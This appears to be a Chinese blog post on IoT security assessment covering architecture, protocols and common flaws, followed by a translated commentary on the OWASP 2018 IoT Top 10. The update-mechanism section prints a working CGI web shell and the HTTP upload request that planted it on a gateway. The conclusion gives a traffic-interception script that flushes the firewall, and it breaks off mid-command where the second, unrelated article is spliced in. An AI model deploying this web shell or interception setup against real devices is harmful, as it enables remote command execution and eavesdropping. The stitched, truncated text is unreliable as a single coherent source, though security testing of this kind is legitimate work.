目录
前言
威胁矢量
结论
IoT: 物联网安全测试经验总结
前言
今年早些时候,我参与了许多关于物联网解决方案的安全测试。主要目标是找出体系结构和解决方案中的漏洞。在这篇文章中,我将讨论一些与物联网解决方案的问题和挑战。
什么是物联网?
在你学习有关IPv6的时候,你的老师或许说过,有一天在你的房子每个设备都会有一个IP。物联网基本上就是处理每天的事务,并把它们连接到互联网上。一些常见的物联网设备:如灯光,窗帘,空调。也有像冰箱这样的不太常见的设备,甚至一个卫生间?(实际应用)
物联网的定义是:“提出了互联网的发展,日常物品有网络连接,允许,发送和接收数据。”。
物联网体系结构
通常有这五个部分:
- 执行器:通过物理过程控制事物,如空调机组,门锁,窗帘,
- 网关:用于收集传感器信息和控制中心
- 传感器:用于检测环境,例如光,运动,温度,湿度,水/电量,
- 云:Web界面或API托管用于收集数据的云端web应用和大型数据集分析。一般来说,就是用来做信息与其他方资源共享时,
- 移动(app):移动设备大多使用的,在设备上的应用程序,以实现手机端控制IoT环境来进行互动
物联网环境本身的控制传感器和执行器通常使用这些无线协议(还有更多的):
- Wifi
- Zwave
- ZigBee
- Bluetooth
- RF433
每个协议都有其优缺点,也有很多的限制。当谈到选择哪种协议时,最大的问题是兼容性。下面的表格显示了协议之间的快速对照:
主要的驱动程序使用特定的协议。例如rf433已经大范围使用,但不具有网状网络和默认的安全机制。这意味着,如果你如果想要安全性,你就不得不拿出自己的协议,这意味着你的用户将使用现成的传感器或设备。ZigBee和Zwave在很大程度上都是一样的。他俩之间的主要区别是在设备的通信范围。
你可以从ZigBee安全技术白皮书中了解更多,这里也有一份相关文档。
威胁矢量
任何安全评估你都需要了解你的敌人是谁,他们会如何攻击系统并滥用使用它们。当我做威胁引导的时候我认为设备包含在环境中的信息,这些驱动器都在什么地方,都有可能构成什么样风险。一个物联网设备被黑可能是被用来针对物联网环境或仅仅是变成一个僵尸网被用来攻击外部网络(或两者的组合)。你应该评估什么可以影响执行器,以及如何确定传感器的值可能会影响环境。要做到这一点,你必须很了解物联网生态系统的工作方式,什么类型的设备可能会被使用,以及影响可能会如何扩大。
物联网中常见的漏洞
- 未经身份验证的更新机制
- SQL / JSON注入
- 设计逻辑
- 过于信任
未经身份验证的更新机制
更新软件包有很多不同的方法。有些人用在Linux系统中传统的软件包管理器,使用较少的传统手段,如可执行程序,可运行于同一网络上的计算机,来从云环境倒推更新。这些更新的机制最大的问题是,他们不使用安全的手段来提供软件包。例如使用单一的可执行文件的机制,访问一个隐藏的API用于在网关替换文件。你需要做的是上传CGI文件替换现有文件。在这种特定的情况下的网关是bash的CGI运行,所以就上传了自己的shell:
#!/bin/sh
echo -e "Content-type: text/html\r\n\r\n"
echo "blaat"
#echo "$QUERY_STRING"
CMD="$QUERY_STRING"
test2=$( echo $CMD | sed 's|[\]||g' | sed 's|%20| |g')
$test2
请求:
POST http://192.168.1.98:8181/fileupload.cgi HTTP/1.1
Content-Type: multipart/form-data; boundary=------7cf2a327f01ae
User-Agent: REDACTED
Host: 192.168.1.98:8181
Content-length: 482
Pragma: no-cache
--------7cf2a327f01ae
Content-Disposition: form-data; name="auth"
11366899
--------7cf2a327f01ae
Content-Disposition: form-data; name="type"
w
--------7cf2a327f01ae
Content-Disposition: form-data; name="file"; filename="C:\REDACTED CONFIGURATOR\output\login.cgi"
#!/bin/sh
echo -e "Content-type: text/html\r\n\r\n"
echo "blaat"
#echo "$QUERY_STRING"
CMD="$QUERY_STRING"
test2=$( echo $CMD | sed 's|[\]||g' | sed 's|%20| |g')
$test2
--------7cf2a327f01ae
你应该能猜出接下来会发生什么:
我的建议是利用现有的解决方案,如更新包管理器,如果你必须推出自己的更新包,请在安装部署之前验证它。
SQL/NoSQL injection
SQL注入已经是一个存在很长时间的漏洞,当然注入漏洞的产生是因为程序开发过程中不注意规范书写sql语句和对特殊字符进行过滤,导致客户端可以通过全局变量POST和GET提交一些sql语句正常执行。 我们可以看到很多的解决方案,很多开发商并不认为这是NoSQL数据库的问题或只是不知道这是一个问题。在这里,我的建议是一定要做适当的输入验证和过滤。这里没有案例分析,但可以看看这篇文章 websecurify.
设计逻辑和过于信任
由于没有可用的参考架构,我们看到过很多的架构,虽然框架能使事情变得更容易,但它可能存在很大的风险威胁,一个单一的组件可能被破坏。此外,我们看到开发商认为通信中传统用户输入是不会造成威胁的。在一个这样的实例中,我们注意到,当拦截网关和云之间的通信时,没有从网关标识符(我们可以很容易地枚举)的身份验证。这导致了我们可以注入获取其他用户的信息。其他一些实例包括:
- 移动应用程序直接登录到数据库(所有设备使用相同的密码)
- 本地网络通信不加密
- 消息没有签名或进行加密
- 易暴力枚举或不可撤销信息(如出生和名称为准)的使用作为API密钥来识别用户的网关
- 通过默默无闻的安全性
- 内部开发的加密算法
我在这里的建议:
- 接收端的信息适当编码处理恶意信息,这意味着客户机不应当为服务器和客户机提供明文信息。一般使用审核和验证框架。
- 如果设备在网络中托管,不要指望任何输入是值得信赖。
- 在所有通信中使用合适的加密(https)如果证书是无效的则不开放
- API密钥相当普遍,以确定一个特定的网关。因为该标识符的服务器作为认证令牌,则需要确保该识别符是使用密码安全RNG随机生成的。一般建议使用128位(32个字符)。
- 即使是最知名的密码学家也不能保证自己算法的百分百安全。
很多时候用户希望使用自己的手机在家里远程控制他们的服务。例如打开空调或打开门。这就会引发一个问题,你的网关通常位于路由器后面,而不是直接从Internet访问。有些解决方案不需要使用端口转发,但这还需要一个动态的DNS解决方案,需要用户配置。
一般公司做的是移动应用程序将指令发送到云端,然后网关从云端获取指令。
结论
人们总想着把任何东西都交给互联网,但往往会发生严重的安全错误。大多数错误是由于安全目标不明确,缺乏经验和意识。我们必须采取安全的物联网策略,而不是期望他们来给我们安全。
一些物联网安全的解决方案参考:
- GSMA IoT Security Guidelines – complete document set
- OWASP Internet of Things (IoT) Project
- AllJoyn Alliance (this is a framework under development for secure communication in the IoT environment)
- Iotivity(soon will be merged with AllJoyn)
分享个脚本,通过代理做一个从物联网网关到互联网的拦截。可以用于安全测试:
#!/bin/sh
echo "Interface with internet connectivity: "
read iInf
echo "Secondary interface with rogue device: "
read wInf
echo "Stopping network manager ..."
service network-manager stop
echo "Stopping dnsmasq ..."
service dnsmasq stop
echo "Bringing down wireless interface ..."
ifconfig $wInf down
echo "Configuring wireless interface ..."
ifconfig $wInf 192.168.1.1 netmask 255.255.255.0
echo "Starting dnsmasq as DHCP server ..."
dnsmasq --no-hosts --interface $wInf --except-interface=lo --listen-address=192.168.1.1 --dhcp-range=192.168.1.50,192.168.1.60,60m --dhcp-option=option:router,192.168.1.1 --dhcp-lease-max=25 --pid-file=/var/run/nm-dnsmasq-wlan.pid
echo "Stopping firewall and allowing everyone ..."
iptables -F
iptables -X
iptables -t nat -F
iptables -t nat -X
iptables -t mangle -F
iptables -t mangle -X
iptables -P INPUT ACCEPT
iptables -P FORWARD ACCEPT
iptables -P OUTPUT ACCEPT
echo "Enabling NAT ..."
iptables -t nat -A POSTROUTING -o $iInf -j MASQUERADE
echo "Enabling IP forwarding ..."
echo 1 > /proc/sys/net/ipv4/ip_forward
echo "Gateway setup is complete"
iptables -t nat -A PREROUTING -i $wInf -p tcp --dport 80 -j REDIRECT --to-ports 8080
iptables -t nat -A PRER
【51CTO.com快译】从物联网这一个概念诞生之日起,安全问题就一直是物联网发展的关键所在。从供应商到企业用户,再到消费者,每个人都担心他们种类繁多的新物联网设备和系统可能会受到损害。实际上,安全问题比大家担心的更糟糕,因为易受攻击的物联网设备可能被黑客入侵并被利用到巨大的僵尸网络中,甚至威胁到正确安全的网络。
但在构建、部署、管理物联网系统时,最大的问题和漏洞到底是什么?更重要的是,我们可以采取哪些措施来缓解这些问题呢?
这就是开放式Web应用程序安全项目OWASP的用武之地。用OWASP自己的话说:“OWASP物联网项目旨在帮助制造商,开发人员和消费者更好地理解与物联网相关的安全问题,并且使任何环境中的用户能够在构建,部署或评估物联网技术时做出更好的安全决策。”
OWASP的10大物联网漏洞
为此,在圣诞节那天,OWASP发布了2018年的10大物联网漏洞,并附有信息图(见下文)。 我们来看一下这个列表,并附上一些评论:
1. 弱密码,可猜测密码或硬编码密码
使用易于暴力强制,公开可用或不可更改的凭据,包括固件或客户端软件中的后门,授予对已部署系统的未授权访问权限。
点评:坦率地说,这个问题非常明显!几乎无法相信,它仍然是我们必须考虑的问题。无论物联网设备或应用程序的价格是多么便宜或无害,这种懒惰从来都不是借口。
2. 不安全的网络服务
设备本身上运行的不需要或不安全的网络服务,尤其是那些暴露于互联网的网络服务,会损害信息的机密性,完整性/真实性或可用性,或允许未经授权的远程控制。
点评:这是有道理的,但它更像是一个灰色区域,因为并不总是清楚这些网络服务是“不必要的还是不安全的”。
3. 不安全的生态接口
设备外生态系统中不安全的 web、后端 API、云或移动接口,导致设备或相关组件遭攻陷。常见的问题包括:缺乏认证/授权、缺乏加密或弱加密、缺乏输入和输出过滤。
点评:实际上,接口是否导致风险并不总是很明显,但身份验证,加密和过滤始终是好主意。
4. 缺乏安全的更新机制
缺乏安全更新设备的能力,包括:缺少对设备的固件验证、缺乏安全交付(传输中未加密)、缺乏防回滚机制、缺少因更新而导致的安全更改通知。
点评:对于物联网应用而言,这是一个持续存在的问题,因为许多供应商和企业都不愿意考虑其设备未来。此外,它并不总是技术问题。在某些情况下,物联网设备的物理位置使更新和维修/更换成为一项重大挑战。
5. 使用不安全或过时的组件
使用可能导致设备泄露的已弃用或不安全的软件组件/库,比如操作系统平台的不安全定制,以及来自受损供应链的第三方软件或硬件组件的使用。
点评:这种问题没有任何借口。供应商和企业不能因为节省成本而带来风险。.
6. 隐私保护不足
存储在物联网设备上或者生态系统中的用户信息,可能会被不安全,不当的,甚至未经许可使用。
点评:显然,个人信息需要妥善处理。但这里的关键是“许可”,除非得到他们的许可,否则对个人信息做其他事情。
7. 不安全的数据传输和存储
生态系统内任何地方的敏感数据都缺乏加密或访问控制,包括静止,传输或处理过程中。
点评:虽然许多物联网供应商都关注安全存储,但是通常会忽视数据在传输过程中的安全问题。
8. 缺乏设备管理
在生产中部署的设备缺乏安全支持,比如对资产的管理,更新的管理,以及安全退役、系统监控和响应功能。
点评:物联网设备可能很小,价格低廉,并且可以大量部署,但这并不意味着您不必管理它们。事实上,在使用时对它们的管理,比以往任何时候都更重要。
9. 不安全的默认设置
设备或系统附带不安全的默认设置,或缺乏通过限制操作员修改配置来使系统更安全的能力。
点评:2019年应该解决这个问题,避免采用默认设置。
10. 缺乏物理加固措施
由于缺乏物理加固措施,可能存在被潜在攻击者获取敏感信息的风险。攻击者可通过获取的信息用来实施远程攻击或者对设备进行本地控制。
点评:物联网由“事物”组成,因此记住物联网的物理特性并采取措施保护所涉及的实际设备非常重要。
下一步是什么?
展望未来,OWASP社区计划每两年更新一次该列表,以了解行业变化,并扩展到物联网的其他方面,如嵌入式安全和工业控制系统以及监控和数据采集系统(ICS / SCADA)。 还计划为每个项目添加示例,并将它们映射到其他OWASP项目,例如应用程序安全性验证标准(ASVS)以及外部项目。
最重要的是,或许,OWASP正在考虑增加参考架构,不仅要告诉人们不该做什么,还要考虑他们需要做些什么才能更安全地做。